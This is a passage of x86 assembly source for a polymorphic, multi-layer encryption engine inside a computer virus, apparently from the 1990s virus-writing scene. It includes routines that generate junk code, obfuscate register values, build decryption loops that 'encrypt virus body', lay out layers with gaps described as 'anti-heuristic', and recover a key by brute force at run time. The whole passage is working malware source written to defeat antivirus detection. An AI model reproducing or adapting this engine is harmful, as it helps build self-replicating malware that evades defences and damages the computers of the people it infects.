;ÄÄÄ´ function to crypt a random value to reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_crypt_value:
|
||
|
||
call ppe_get_empty_reg
|
||
mov bl,al
|
||
call ppe_get_rnd32
|
||
call ppe_crypt_value
|
||
ret
|
||
|
||
;ÄÄÄ´ function to simulate end of encode-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function can generate "destination" compare like a
|
||
;bafflement. So, this garbage generate this code:
|
||
;
|
||
; CALL __pos_1 ;any garbages
|
||
; <rnd_data> ;typical CALL rnd_data
|
||
; __i: JMP __compare_back ; NEW JUMP
|
||
; <rnd_data> ;typical CALL rnd_data
|
||
; __pos_1:
|
||
; <next_code> ;loop,next_index...
|
||
; DEC reg32 ;typical CMP instruction
|
||
; <garbages>
|
||
; CMP reg32,reg32 ;compare registers
|
||
; <garbages - no_flags> ;no_flags garbages
|
||
; JNZ __i ;typical CMP c-jump
|
||
; <garbages>
|
||
; __compare_back: ;come back and continue
|
||
; <next_code>
|
||
;
|
||
g_compare:
|
||
|
||
; do not recursived - because it's few registers
|
||
cmp byte ptr [ebp+recursive_level],01h
|
||
jnz a_compare
|
||
|
||
; have we some free place in rnd_fill ?
|
||
cmp byte ptr [ebp+compare_index],00h
|
||
jz a_compare
|
||
|
||
; this garbage only in the main loop
|
||
cmp byte ptr [ebp+gl_index_reg],-1
|
||
jz a_compare
|
||
|
||
; save used-regs
|
||
mov al,[ebp+used_regs]
|
||
push eax
|
||
|
||
; select a free base-reg to DEC
|
||
call gen_garbage
|
||
call ppe_get_empty_reg
|
||
call __reg_to_bcd
|
||
or [ebp+used_regs],ah
|
||
mov al,48h ;DEC
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
|
||
call gen_garbage
|
||
|
||
; build CMP instruction
|
||
mov edx,ebx
|
||
__gc_new_reg:
|
||
call ppe_get_reg
|
||
cmp ebx,edx ;i don't want same regz
|
||
jz __gc_new_reg
|
||
mov ah,byte ptr [edx] ;reg to AH
|
||
shl ah,03h ; * 8
|
||
or ah,al
|
||
or ah,0C0h
|
||
mov al,3Bh ;CMP ...
|
||
stosw
|
||
|
||
call gen_garbage_no_flags
|
||
|
||
; build JNZ jmp
|
||
mov ax,850Fh ;JNZ far signature
|
||
stosw
|
||
movzx eax,byte ptr [ebp+compare_index]
|
||
call ppe_get_rnd_range ;select <compare_index>
|
||
mov eax,[ebp+compare_buffer+04h*eax]
|
||
add eax,[ebp+poly_start]
|
||
push eax
|
||
sub eax,edi
|
||
sub eax,00000004h
|
||
stosd
|
||
|
||
call gen_garbage
|
||
|
||
; build JMP to rnd_fill
|
||
pop ecx ;EDI of rnd_fill_jmp in ECX
|
||
mov al,0E9h ;JMP far signature
|
||
mov byte ptr [ecx],al
|
||
mov eax,edi
|
||
sub eax,ecx
|
||
sub eax,00000005h
|
||
mov dword ptr [ecx+00000001h],eax
|
||
|
||
call gen_garbage
|
||
|
||
; destroy all rnd_fill buffers
|
||
mov byte ptr [ebp+compare_index],00h
|
||
|
||
; restore used_regs
|
||
pop eax
|
||
mov [ebp+used_regs],al
|
||
|
||
a_compare: ret
|
||
|
||
;ÄÄÄ´ function to fix delta for copro operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;If we generated offset of free memory (by __copro_get_mem)
|
||
;then it's more then time to use delta.
|
||
;
|
||
;input: EBX = offset to reg
|
||
__copro_fix_delta:
|
||
mov al,03h ;ADD instruction
|
||
mov ah,byte ptr [ebx]
|
||
shl ah,3
|
||
or ah,byte ptr [ebp+gl_index_reg]
|
||
or ah,0C0h
|
||
stosw
|
||
ret
|
||
|
||
__copro_unfix_delta:
|
||
mov al,2Bh ;SUB instruction
|
||
mov ah,byte ptr [ebx]
|
||
shl ah,3
|
||
or ah,byte ptr [ebp+gl_index_reg]
|
||
or ah,0C0h
|
||
stosw
|
||
ret
|
||
|
||
;ÄÄÄ´ function to crypt a destination value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ÀÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÙ
|
||
|
||
;---------------------------------------------------------
|
||
;This function is for crypt a real value which we want to
|
||
;hide. I use only base-reg (eax,edi...) because If I would
|
||
;like to introduce the coprocessor I'd have to use FILD
|
||
;and FIST instruction: FILD qword ptr [edi], where EDI I
|
||
;wanted generate. At first I generate code for encode a
|
||
;destination value and I find out a crypt value. During
|
||
;encoding I save a opposite instruction to stack (add <=>
|
||
;sub). I could not to save decode instructions into a spe-
|
||
;cial buffer because I didn't know a real size - the stack
|
||
;is better for this.
|
||
;
|
||
;input: EAX=destination value
|
||
; BL=destionation register (not in BCD)
|
||
;
|
||
;used instructions: ADD opposite SUB and on the contrary
|
||
; ROL opposite ROR
|
||
; XOR reg <==> XOR reg
|
||
; NOT reg <==> NOT reg
|
||
; MOV reg1,reg2 <==> MOV reg2,reg1
|
||
;
|
||
;do you have anything else ?
|
||
;
|
||
;and now... example:
|
||
; * I want to generate number 0x402CC1 to EDX register
|
||
; MOV ESI, 1985FDD6
|
||
; ROL ESI, BB
|
||
; MOV EAX, ESI
|
||
; NOT EAX
|
||
; MOV EDX, EAX
|
||
; SUB EDX, 4FF3A350 ->EDX = 0x402CC1
|
||
;
|
||
;This is only example but reality it other... better !!!
|
||
;
|
||
actual_reg db ? ;where we've our number which we're generating
|
||
future_reg db ? ;our destination register
|
||
actual_instr db ? ;actual instruction in generate
|
||
old_place dd ? ;where's start crypt value
|
||
;
|
||
ppe_crypt_value:
|
||
|
||
pusha
|
||
|
||
mov ecx,eax ;save destination value
|
||
mov [ebp+old_place ],edi
|
||
mov [ebp+actual_reg],bl
|
||
mov [ebp+future_reg],bl
|
||
|
||
; save destination value to destination reg
|
||
mov al,0B8h
|
||
or al,bl
|
||
stosb ;select destination reg
|
||
mov eax,ecx
|
||
stosd ;save destination value
|
||
|
||
; how many instruction we'll use
|
||
mov eax,00000007h
|
||
call ppe_get_rnd_range
|
||
inc eax
|
||
mov byte ptr [ebp+actual_instr],al
|
||
|
||
push 12345678h ;flag to stack
|
||
__cv_next_loop:
|
||
mov eax,00000003h ;may I change register ?
|
||
call ppe_get_rnd_range
|
||
or eax,eax
|
||
jnz __cv_continue
|
||
|
||
call ppe_get_empty_reg ;i want a free register
|
||
mov al,08Bh
|
||
mov ah,byte ptr [ebx] ;my future reg32
|
||
cmp ah,byte ptr [ebp+actual_reg]
|
||
jz __cv_next_loop ;blah - mov ecx,ecx ??
|
||
shl ah,3
|
||
or ah,byte ptr [ebp+actual_reg]
|
||
or ah,0C0h
|
||
stosw ;finish but now i must create opposite for decode
|
||
mov al,byte ptr [ebx]
|
||
mov ah,byte ptr [ebp+actual_reg]
|
||
shl ah,3
|
||
or ah,al
|
||
or ah,0C0h
|
||
mov byte ptr [ebp+actual_reg],al
|
||
mov al,08Bh
|
||
push ax ;ax = decode mov
|
||
|
||
__cv_continue:
|
||
mov eax,(end_num_code - tbl_num_code) / 04h
|
||
call ppe_get_rnd_range
|
||
|
||
lea esi,[ebp+tbl_num_code+4*eax]
|
||
lodsb ;load where we have encode instruction
|
||
lodsw ;AH = base_reg, AL = id_operation
|
||
or ah,[ebp+actual_reg]
|
||
push ax ;save because of separate actual_reg
|
||
stosw
|
||
lodsb ;imm(X) = 3rd_number * 8
|
||
mov dl,al
|
||
push ax ;now, we must generate imm
|
||
__cv_generate_imm: ;imm32 = (add,sub) reg32,imm32
|
||
or dl,dl ;imm8 = (rol,ror) reg32,imm8
|
||
jz __cv_opposite_code ;imm0 = not reg32
|
||
call ppe_get_rnd32
|
||
rol ebx,8 ;save rnd number to EBX
|
||
mov bl,al
|
||
stosb
|
||
dec dl
|
||
jmp __cv_generate_imm
|
||
|
||
__cv_opposite_code:
|
||
pop ax ;ax = imm(X)
|
||
pop cx ;ch = reg32, cl = encode instruction
|
||
__cv_oc_generate_imm:
|
||
or al,al ;is it imm0 ?
|
||
jz __cv_oc_imm_ok
|
||
dec esp ;save imm to stack
|
||
mov byte ptr ss:[esp],bl
|
||
ror ebx,8 ;next number in imm
|
||
dec al
|
||
jmp __cv_oc_generate_imm
|
||
|
||
__cv_oc_imm_ok:
|
||
lea esi,[esi-4] ;esi = start of encode instruction
|
||
lodsb ;AL = opposite instruction (add <=> sub)
|
||
movsx eax,al ;is it previous or next instruction ?
|
||
add esi,eax ;esi = decode instruction
|
||
lodsb
|
||
lodsw ;al = (en/de)code instruction
|
||
and ch,00000111b ;separate reg only
|
||
or ah,ch ;change register
|
||
push ax ;save encode instruction to stack
|
||
|
||
dec byte ptr [ebp+actual_instr]
|
||
jnz __cv_next_loop
|
||
|
||
;now, we must find out the crypt value
|
||
mov ax,0C08Bh
|
||
or ah,byte ptr [ebp+actual_reg]
|
||
stosw ;save destination value to EAX
|
||
mov al,0C3h
|
||
stosb ;ret = out of call
|
||
|
||
;to find out crypt value we must call decode function
|
||
;output: eax = crypt value
|
||
pusha
|
||
call dword ptr [ebp+old_place]
|
||
mov [esp].access_eax,eax
|
||
popa
|
||
|
||
;save into last_reg our crypt value
|
||
mov edi,[ebp+old_place]
|
||
push eax
|
||
mov al,0B8h
|
||
or al,byte ptr [ebp+actual_reg]
|
||
stosb
|
||
pop eax
|
||
stosd
|
||
|
||
;now, we must write decode instructions to old EDI
|
||
__cv_oc_out_of_stack:
|
||
cmp dword ptr ss:[esp],12345678h
|
||
jz __cv_oc_finish
|
||
mov al,byte ptr ss:[esp]
|
||
inc esp
|
||
stosb
|
||
jmp __cv_oc_out_of_stack
|
||
__cv_oc_finish:
|
||
pop eax ;flag from stack
|
||
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ last decoding loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function encrypts virus body like 3rd decoding loop.
|
||
;The algorithm is in front of the virus. It means, multi-
|
||
;layer algorithm is behind virus, then is jump to back and
|
||
;then is next decoding loop.
|
||
;
|
||
__pllg_memory dd 00000000h ;decoding loop mem
|
||
__pllg_countreg db 00h ;counter register
|
||
__pllg_indexreg db 00h ;index register
|
||
__pllg_codereg db 00h ;code register
|
||
__pllg_lsize dd 00000000h ;loop size
|
||
;
|
||
ppe_lloop_generate:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; allocate memory for decoding loop
|
||
mov eax,10000
|
||
call malloc
|
||
mov [ebp+__pllg_memory],eax
|
||
mov edi,eax
|
||
|
||
; generate index and its register
|
||
call gen_garbage
|
||
__pllg_new_reg:
|
||
call ppe_get_empty_reg
|
||
cmp al,00000100b
|
||
jae __pllg_new_reg
|
||
call __reg_to_bcd
|
||
mov bl,al
|
||
mov [ebp+__pllg_indexreg],bl
|
||
or [ebp+used_regs],ah
|
||
mov al,0E8h ;CALL
|
||
stosb
|
||
xor eax,eax
|
||
stosd
|
||
mov al,58h
|
||
add al,[ebp+__pllg_indexreg]
|
||
stosb
|
||
mov ax,0C081h
|
||
add ah,[ebp+__pllg_indexreg]
|
||
stosw
|
||
push edi
|
||
add edi,00000004h ;do place for ADD
|
||
|
||
; generate counter register
|
||
call gen_garbage
|
||
call ppe_get_empty_reg
|
||
call __reg_to_bcd
|
||
mov bl,al
|
||
mov [ebp+__pllg_countreg],al
|
||
or [ebp+used_regs],ah
|
||
call ppe_get_rnd32
|
||
push eax
|
||
call ppe_crypt_value
|
||
|
||
; generate code register
|
||
call gen_garbage
|
||
call ppe_get_empty_reg
|
||
call __reg_to_bcd
|
||
mov bl,al
|
||
mov [ebp+__pllg_codereg],bl
|
||
or [ebp+used_regs],ah
|
||
call ppe_get_rnd32
|
||
call ppe_crypt_value
|
||
|
||
; generate XOR machanism
|
||
push edi
|
||
call gen_garbage
|
||
mov ah,[ebp+__pllg_codereg]
|
||
shl ah,03h
|
||
add ah,[ebp+__pllg_indexreg]
|
||
mov al,31h
|
||
stosw
|
||
call gen_garbage
|
||
|
||
; generate next index value
|
||
mov ah,0C0h
|
||
add ah,[ebp+__pllg_indexreg]
|
||
mov al,83h
|
||
stosw
|
||
mov al,04h
|
||
stosb
|
||
call gen_garbage
|
||
|
||
; geneerate next counter value
|
||
mov al,40h
|
||
add al,[ebp+__pllg_countreg]
|
||
stosb
|
||
call gen_garbage
|
||
|
||
; generate comparing
|
||
mov ax,0F881h
|
||
add ah,[ebp+__pllg_countreg]
|
||
stosw
|
||
mov eax,[esp+4]
|
||
add eax,file_size shr 2
|
||
stosd
|
||
call gen_garbage_no_flags
|
||
mov ax,850Fh ;JNZ identification
|
||
stosw
|
||
mov eax,[esp]
|
||
sub eax,edi
|
||
sub eax,4
|
||
stosd
|
||
call gen_garbage
|
||
|
||
; generate do-nothing instructions
|
||
mov al,0C3h
|
||
push edi
|
||
stosb
|
||
__pllg_align:
|
||
mov eax,edi
|
||
sub eax,[ebp+__pllg_memory]
|
||
mov ebx,8
|
||
xor edx,edx
|
||
div ebx
|
||
or edx,edx
|
||
jz __pllg_finish
|
||
mov al,90h
|
||
stosb
|
||
jmp __pllg_align
|
||
__pllg_finish:
|
||
|
||
; change index value
|
||
mov eax,edi
|
||
sub eax,[esp+0ch]
|
||
add eax,00000003h
|
||
mov ebx,[esp+0ch]
|
||
mov [ebx],eax
|
||
|
||
; do place for this algorithm
|
||
push edi
|
||
mov esi,[ebp+mem_address]
|
||
add edi,esi
|
||
sub edi,[ebp+__pllg_memory]
|
||
mov ecx,edi
|
||
sub ecx,esi
|
||
mov [esi+__pllg_lsize-virus_start],ecx
|
||
add ecx,file_size
|
||
mov [ebp+file_size2],ecx
|
||
mov [ebp+file_size3],ecx
|
||
shr [ebp+file_size2],03h
|
||
call __movsd_back
|
||
|
||
; copy this algorithm
|
||
mov esi,[ebp+__pllg_memory]
|
||
mov edi,[ebp+mem_address]
|
||
pop ecx
|
||
sub ecx,[ebp+__pllg_memory]
|
||
rep movsb
|
||
|
||
; run that algorithm
|
||
pusha
|
||
mov eax,[ebp+mem_address]
|
||
call eax
|
||
popa
|
||
mov eax,[esp]
|
||
sub eax,[ebp+__pllg_memory]
|
||
add eax,[ebp+mem_address]
|
||
mov byte ptr [eax],90h
|
||
|
||
; dealloc memory
|
||
mov eax,[ebp+__pllg_memory]
|
||
call mdealloc
|
||
xor eax,eax
|
||
mov [ebp+__pllg_memory],eax
|
||
|
||
; restore all registers
|
||
mov [ebp+used_regs],00h
|
||
add esp,4*4
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ multi-layer engine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function generates multi-layer map. And because I am
|
||
;crazy, this is true multi-layer engine. So look here:
|
||
;
|
||
; Every polymorphic en- vs. Every multi-layer engine
|
||
; gine encodes l. this: encodes in this way:
|
||
; Â (virus_start) Â Â
|
||
; ³ ³ 1st ³ 2nd
|
||
; ³ ³ layer ³ layer
|
||
; ³ ³ ³
|
||
; (down or up) etc.
|
||
;
|
||
;But my multi-layer engine has these features:
|
||
; * randomly generated layer's movement (down or up)
|
||
; * maximal is 986 layers
|
||
; * typical is 68 layers
|
||
; * layers' buffer with gaps (anti-heuristic)
|
||
;
|
||
;My resulting coding progress:
|
||
; Â Ú¿ ù ù ¿ three layers
|
||
; ³Ú¿³³ ù ù ù ù ù ´ five layers
|
||
; ³³³³³Ú¿ ù ù ù ù ù ù ù ù ù ù ´ seven layers
|
||
; ÀÙ³³³³³ ù ù ù ù ù ù ù ù ù ù Ù
|
||
; ³³ÀÙ³
|
||
; ÀÙ ³
|
||
;
|
||
;
|
||
;Here you can see I need layers buffer, where I have all
|
||
;movement (down and up). Every byte has this structure:
|
||
;
|
||
; 8th bit (down/up), 7th-1st bit (+/- movement)
|
||
;
|
||
;Some equations:
|
||
; * maximum layers:
|
||
; ((file_size-2^7*4)/(layer_buf-file_size-2^7*4))/2=968
|
||
; * typical layers:
|
||
; 2^7 * 4 * layer_buf / file_size = 68
|
||
;
|
||
;Where:
|
||
; * file_size = calculated for 18,000 bytes
|
||
; * layer_buf = calculated for 2,400 bytes
|
||
; * 2^7 = we have eight bites without one (+/-)
|
||
; * 4 = we use dword, not byte
|
||
;
|
||
;The layers buffer is behind polymorphic loop, and it cer-
|
||
;tains anti-heuristic :), because in that buffer are gaps.
|
||
;And these treatments are inside polydecoding loop.
|
||
;
|
||
;
|
||
__mlg_map dd 00000000h ;layers memory map
|
||
__mlg_size dd 00000000h ;size of layer buffer
|
||
file_size2 dd 00000000h ;(file_size+3rd l.)/8
|
||
file_size3 dd 00000000h ;file_size2 * 8
|
||
;
|
||
ppe_mlayer_generate:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; allocate memory for layer map
|
||
push 00000000h ;number of encrypted bytes
|
||
mov eax,000000C9h ;get size of layers map
|
||
call ppe_get_rnd_range ;maximum is 2,600 bytes
|
||
shl eax,03h ;multiply by eight
|
||
add eax,1000
|
||
push eax ;[ESP] = size of layers map
|
||
shr dword ptr [esp],03h ;divide by eight
|
||
call malloc ;allocate that memory
|
||
mov [ebp+__mlg_map],eax
|
||
|
||
; generate eight parts
|
||
mov edi,[ebp+__mlg_map] ;EDI = memory layers map
|
||
xor ecx,ecx ;ECX = actual part
|
||
xor edx,edx ;EDX = position in layer
|
||
call __mlg_gen_max_movement
|
||
mov byte ptr [edi],al ;the first movement
|
||
movzx ebx,al ;EBX = position in vbody
|
||
inc edi ; + memory layer map
|
||
inc edx ; + pos in actual layer
|
||
__mlg_next_movement:
|
||
call __mlg_gen_max_movement ;generate new movement (+/-)
|
||
jc __mlg_no_compare ;if AL==0, then "go up" flag
|
||
push eax
|
||
mov eax,00000003h ; 2 * DOWN, 1 * UP
|
||
call ppe_get_rnd_range
|
||
or al,al ;go back ? (it means UP !)
|
||
pop eax ;movement
|
||
jnz __mlg_go_down
|
||
cmp ebx,eax ;EBX - EAX < 0 ?
|
||
jb __mlg_go_down ;if yes, go down, not up
|
||
__mlg_no_compare:
|
||
sub ebx,eax ; = actul pos in vbody
|
||
or al,80h ;set "go up" flag
|
||
jmp $ + 00000004h
|
||
__mlg_go_down:
|
||
add ebx,eax ; = actual pos in vbody
|
||
mov byte ptr [edi],al ;write new movement (+/-)
|
||
inc edi ; + memory layer map
|
||
inc edx ; + pos in actual layer
|
||
__mlg_compare:
|
||
cmp edx,[esp] ;EDX == size of layers map/8
|
||
jb __mlg_continue
|
||
inc ecx ;next part
|
||
xor edx,edx ;position in layer
|
||
add [esp+00000004h],ebx ;number of encrypted bytes
|
||
cmp ecx,00000008h ;was it last part ?
|
||
jnz __mlg_no_last
|
||
mov ebx,[ebp+file_size3] ;file_size + 3rd_loop
|
||
sub ebx,[esp+00000004h] ;encrypted bytes
|
||
neg ebx ; - EBX
|
||
jmp $ + 00000008h
|
||
__mlg_no_last:
|
||
sub ebx,[ebp+file_size2] ;EBX < file_size2 ?
|
||
mov esi,ebx ;my the only one empty reg :)
|
||
bt esi,3Fh
|
||
jnc __mlg_continue ;no bytes to down ? ESI > 0 ?
|
||
__mlg_no_last_next:
|
||
call __mlg_gen_max_movement_without_test
|
||
push esi ;ESI + EAX <= 0, then okay
|
||
add esi,eax ;ESI + EAX > 0, then again
|
||
or esi,esi ;set (Z)ero flag
|
||
bt esi,3Fh ;set (C)arry flag
|
||
pop esi
|
||
jc $ + 00000004h ;all right
|
||
jnz __mlg_no_last_next ;ESI + EAX > 0
|
||
add [esp+00000004h],eax ;number of encrypted bytes
|
||
mov byte ptr [edi],al ;and write that...
|
||
inc edi ; + memory layer map
|
||
inc edx ; + pos in actual layer
|
||
add ebx,eax ;position in vbody
|
||
add esi,eax ;ESI += EAX, bytes to down
|
||
bt esi,3Fh ;ESI > 0 ?
|
||
jc __mlg_no_last_next
|
||
__mlg_continue:
|
||
cmp ecx,00000008h ;last part ?
|
||
jnz __mlg_next_movement ;next and next loop...
|
||
sub edi,[ebp+__mlg_map] ;number of encrypted bytes
|
||
mov [ebp+__mlg_size],edi
|
||
|
||
; encrypt the encrypted virus body by 3rd decoding loop :)
|
||
mov esi,[ebp+__mlg_map] ;layers memory map
|
||
mov edi,[ebp+mem_address]
|
||
mov edx,[ebp+__mlg_size] ;size of layers buffer
|
||
mov ebx,[ebp+code_value]
|
||
__mlg_next_byte:
|
||
lodsb ;load movement
|
||
movzx ecx,al ;convert to ECX & 7Fh
|
||
and cl,7Fh ;clear (+/-) flag
|
||
sub ebx,[ebp+code_value_add] ;damn bug !
|
||
__mlg_next_dword:
|
||
cmp byte ptr [ebp+crypt_style],02h
|
||
jz __mlg_xor
|
||
cmp byte ptr [ebp+crypt_style],01h
|
||
jz __mlg_add
|
||
sub byte ptr [edi],bl
|
||
jmp __mlg_next_value
|
||
__mlg_add:
|
||
add byte ptr [edi],bl
|
||
jmp __mlg_next_value
|
||
__mlg_xor:
|
||
xor byte ptr [edi],bl
|
||
__mlg_next_value:
|
||
inc edi ;next value (+)
|
||
rol ebx,01h ;bits rotate
|
||
test al,80h ;check that flag
|
||
jz __mlg_go_cow
|
||
sub edi,00000002h ;next value (-)
|
||
__mlg_go_cow:
|
||
dec cl ;next byte (value)
|
||
jnz __mlg_next_dword
|
||
bt eax,7 ;test 7th bit
|
||
jc __mlg_back
|
||
test byte ptr [esi],80h ;forward and back now ?
|
||
jz __mlg_fback
|
||
dec edi
|
||
jmp __mlg_fback
|
||
__mlg_back:
|
||
test byte ptr [esi],80h ;back and forward now ?
|
||
jnz __mlg_fback
|
||
inc edi
|
||
__mlg_fback:
|
||
dec edx ;next movement
|
||
jnz __mlg_next_byte
|
||
|
||
; generate the 5th number of CRC-getting
|
||
__pbi_again:
|
||
mov eax,00DFFFFFh ;maximum searching number
|
||
call ppe_get_rnd_range
|
||
cmp eax,10000h
|
||
jb __pbi_again
|
||
mov [ebp+__pbi_last_num],eax
|
||
sub ebx,eax
|
||
mov [ebp+__pbi_add_num],ebx
|
||
|
||
; restore all registers
|
||
add esp,00000008h
|
||
popa
|
||
ret
|
||
|
||
__mlg_gen_max_movement_without_test:
|
||
mov eax,00000080h ;generate <0,128) number
|
||
call ppe_get_rnd_range
|
||
or al,al
|
||
jz __mlg_gen_max_movement_without_test
|
||
ret
|
||
|
||
__mlg_gen_max_movement:
|
||
call __mlg_gen_max_movement_without_test
|
||
cmp ebx,[ebp+file_size2]
|
||
jz __mlg_gmm_failed
|
||
push eax ;i haven't any empty reg
|
||
add eax,ebx
|
||
cmp eax,[ebp+file_size2] ;EBX+EAX > file_size2 ?
|
||
pop eax ;if yes, generate other
|
||
ja __mlg_gen_max_movement ;number
|
||
test al,0F9h ;hidden STC instruction
|
||
__mlg_gmm_failed equ $-1
|
||
ret
|
||
|
||
;ÄÄÄ´ brute-attack engine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;Welcome to my brute-attack engine in poly-decoding loop.
|
||
;At first I generate five valuez and their checksum, then
|
||
;I'll store that checksum and I will find right five value
|
||
;by its checksum. Maximal value of 5th number is 0xDFFFFF.
|
||
;This number I'll find per 0.82 second on P233. And I know
|
||
;it's very good result.
|
||
;
|
||
;I would like to thank Darkman/29A for his:
|
||
; * "RDEA" article in 29A #3 issue
|
||
; * ideas and theory
|
||
;
|
||
;This function is only for you... your ideas...
|
||
;
|
||
;
|
||
__pbi_nums dd 4 dup(0) ;global numbers
|
||
__pbi_last_num dd 00000000h ;last number
|
||
__pbi_add_num dd 00000000h ;absolute number
|
||
__pbi_start_crc dd 00000000h ;startup checksum
|
||
__pbi_last_crc dd 00000000h ;finishing checksum
|
||
__pbi_regs db 3 dup(0) ;three registers
|
||
;
|
||
ppe_brute_init:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; change "poly_start" value
|
||
mov edi,[ebp+mem_address]
|
||
add edi,[ebp+file_size3] ;new position
|
||
mov [ebp+poly_start],edi ;file_size + 3rd loop
|
||
|
||
; generate four numbers
|
||
mov ecx,00000004h ;four numbers
|
||
__pbi_next_number:
|
||
call ppe_get_rnd32 ;generate random number
|
||
mov [ebp+__pbi_nums+ecx*4-4],eax
|
||
loop __pbi_next_number
|
||
|
||
; calculate some checksums...
|
||
xor ecx,ecx ;counter
|
||
xor eax,eax ;calculate register
|
||
__pbi_calculate:
|
||
add eax,[ebp+__pbi_nums+ecx*4]
|
||
rol eax,01h
|
||
xor eax,0ACD78FA3h
|
||
inc ecx ;next number
|
||
cmp ecx,00000004h ;ECX == numbers - 1 ?
|
||
jnz __pbi_cfinish
|
||
mov [ebp+__pbi_start_crc],eax ;save that value
|
||
__pbi_cfinish:
|
||
cmp ecx,00000005h
|
||
jnz __pbi_calculate
|
||
mov [ebp+__pbi_last_crc],eax ;save checksum
|
||
|
||
; generate three needed registers
|
||
mov ecx,00000003h ;three registers
|
||
__pbi_next_register:
|
||
call ppe_get_empty_reg
|
||
call __reg_to_bcd
|
||
mov [ebp+__pbi_regs+ecx-1],al
|
||
or [ebp+used_regs],ah
|
||
loop __pbi_next_register
|
||
|
||
; generate old and new checksum
|
||
call gen_garbage ;use old checksum it means
|
||
mov eax,[ebp+__pbi_start_crc] ;without last right value
|
||
mov bl,[ebp+__pbi_regs] ;the first register
|
||
call ppe_crypt_value
|
||
call gen_garbage ;and use finishing crc
|
||
mov eax,[ebp+__pbi_last_crc]
|
||
mov bl,[ebp+__pbi_regs+01h] ;the second register
|
||
call ppe_crypt_value
|
||
call gen_garbage
|
||
xor eax,eax ;calculating register
|
||
mov bl,[ebp+__pbi_regs+02h] ;the third register
|
||
call ppe_crypt_value
|
||
|
||
; own algorithm
|
||
push edi ;startup address
|
||
mov al,40h
|
||
or al,[ebp+__pbi_regs] ;old_reg++
|
||
stosb
|
||
mov ah,[ebp+__pbi_regs+02h] ;mov calc_reg,old_reg
|
||
shl ah,03h
|
||
or ah,[ebp+__pbi_regs] ;old reg
|
||
or ah,0C0h
|
||
mov al,8Bh ;MOV instruction
|
||
stosw
|
||
mov ax,0C0D1h ;rol calc_reg,01h
|
||
or ah,[ebp+__pbi_regs+02h]
|
||
stosw
|
||
mov ax,0F081h ;xor reg32,imm32
|
||
or ah,[ebp+__pbi_regs+02h]
|
||
stosw
|
||
mov eax,0ACD78FA3h ;special value
|
||
stosd
|
||
mov ah,[ebp+__pbi_regs+02h]
|
||
shl ah,03h
|
||
or ah,[ebp+__pbi_regs+01h]
|
||
or ah,0C0h
|
||
mov al,3Bh
|
||
stosw
|
||
mov ax,850Fh ;JNZ identification
|
||
stosw
|
||
pop eax ;"go back" offset
|
||
sub eax,edi
|
||
sub eax,4
|
||
stosd
|
||
call gen_garbage
|
||
mov byte ptr [ebp+used_regs],00h
|
||
mov al,[ebp+code_reg] ;code register
|
||
call __reg_to_bcd
|
||
or [ebp+used_regs],ah
|
||
xchg ah,al
|
||
shl ah,03h
|
||
or ah,[ebp+__pbi_regs]
|
||
or ah,0C0h
|
||
mov al,8Bh ;mov code_reg,reg32
|
||
stosw
|
||
call gen_garbage
|
||
mov ax,0E881h ;sub code_reg,start_crc
|
||
or ah,[ebp+code_reg]
|
||
stosw
|
||
mov eax,[ebp+__pbi_start_crc]
|
||
stosd
|
||
call gen_garbage
|
||
mov ax,0C081h ;ADD instruction
|
||
or ah,[ebp+code_reg]
|
||
stosw
|
||
mov eax,[ebp+__pbi_add_num]
|
||
stosd
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ generate code to get delta-address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function gets delta. Useful forr "g_repeat", and all
|
||
;calls and jmps garbages, for all iluzo jumps and so on...
|
||
;
|
||
__ppe_gd_call dd 00000000h
|
||
;
|
||
ppe_get_delta:
|
||
|
||
; save registers
|
||
pusha
|
||
|
||
; prepare CALL
|
||
call gen_garbage
|
||
mov al,0E8h
|
||
stosb
|
||
stosd
|
||
mov [ebp+__ppe_gd_call],edi
|
||
push edi
|
||
call ppe_gen_rnd_block
|
||
mov eax,edi
|
||
pop esi
|
||
sub eax,esi
|
||
mov dword ptr [esi-00000004h],eax
|
||
call gen_garbage
|
||
|
||
; now, we must active the global index register
|
||
mov al,[ebp+gl_index_reg2]
|
||
mov [ebp+gl_index_reg],al
|
||
call __reg_to_bcd
|
||
or [ebp+used_regs],ah
|
||
mov byte ptr [ebp+compare_index],00h
|
||
|
||
mov al,58h
|
||
or al,byte ptr [ebp+gl_index_reg]
|
||
stosb ;POP base-reg32
|
||
call gen_garbage_no_flags ;'cause delta isn't finished
|
||
|
||
; we must fix real address
|
||
mov eax,[ebp+__ppe_gd_call]
|
||
sub eax,[ebp+mem_address]
|
||
sub eax,[ebp+file_size3]
|
||
push eax
|
||
|
||
; ADD or SUB ?
|
||
call ppe_get_rnd32
|
||
and al,1
|
||
jz __ppe_gd_sub
|
||
|
||
; fix with ADD --> add reg32, fix_value
